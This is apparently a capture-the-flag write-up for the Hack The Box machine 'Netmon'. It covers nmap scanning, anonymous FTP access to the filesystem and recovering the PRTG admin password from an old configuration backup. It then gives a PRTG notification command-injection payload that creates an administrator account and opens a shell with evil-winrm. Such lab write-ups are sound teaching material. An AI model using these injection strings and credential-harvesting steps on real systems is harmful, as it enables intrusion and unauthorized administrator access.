Netmon

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.152 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.152 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Exploitation

As we can see the anonymous user is allow in the FTP server.

ftp 10.10.10.152

Inside is the entire filesystem of the Windows machine.

ftp> ls

If we look inside the directory, we could see the user flag.

ftp> ls Users/Public/

Let's download it to our local machine and read it.

ftp> get Users/Public/

ftp> get user.txt

ftp> exit

cat user.txt

Privilege Escalation

If we take a look at the website, we'll see a PRTG Network Monitor.

As we can see in this article, the PRTG data directory is located at %programdata%\Paessler\PRTG Network Monitor. Let's see what is inside that directory with the FTP server.

ftp> cd ProgramData/Paessler/PRTG\ Network\ Monitor

ftp> ls

Let's download the PRTG Configuration.old.bak file.

ftp> get "PRTG Configuration.old.bak"

The file contains the PrTg@dmin2018 password for the prtgadmin user.

cat PRTG\ Configuration.old.bak | grep prtgadmin -A 1

But can't log in with these credentials.

As the file had the .old.bak extension, maybe this is an old password. If we try with the PrTg@dmin2019, we'll be able to log in.

There is a vulnerability in PRTG Network Monitor which allow an administrator to run commands on the system. Go to Setup, Notifications, Add new notification, then go to the Execute Program section of the notification, select the .ps1 options, and run the following command, which will create the alfa8sa user, and add it to the Administrators group.

test.txt; net user test alfa8sa1234! /add; net localgroup administrators test /add

To run the command, click on Send test notification.

Then, hit OK.

Now, check that the test user has been created.

cme smb 10.10.10.152 -u "test" -p 'alfa8sa1234!'

Now, all we have to do is get a shell as test with evil-winrm, reap the harvest and take the root flag.

evil-winrm -i 10.10.10.152 -u test

Last updated

Was this helpful?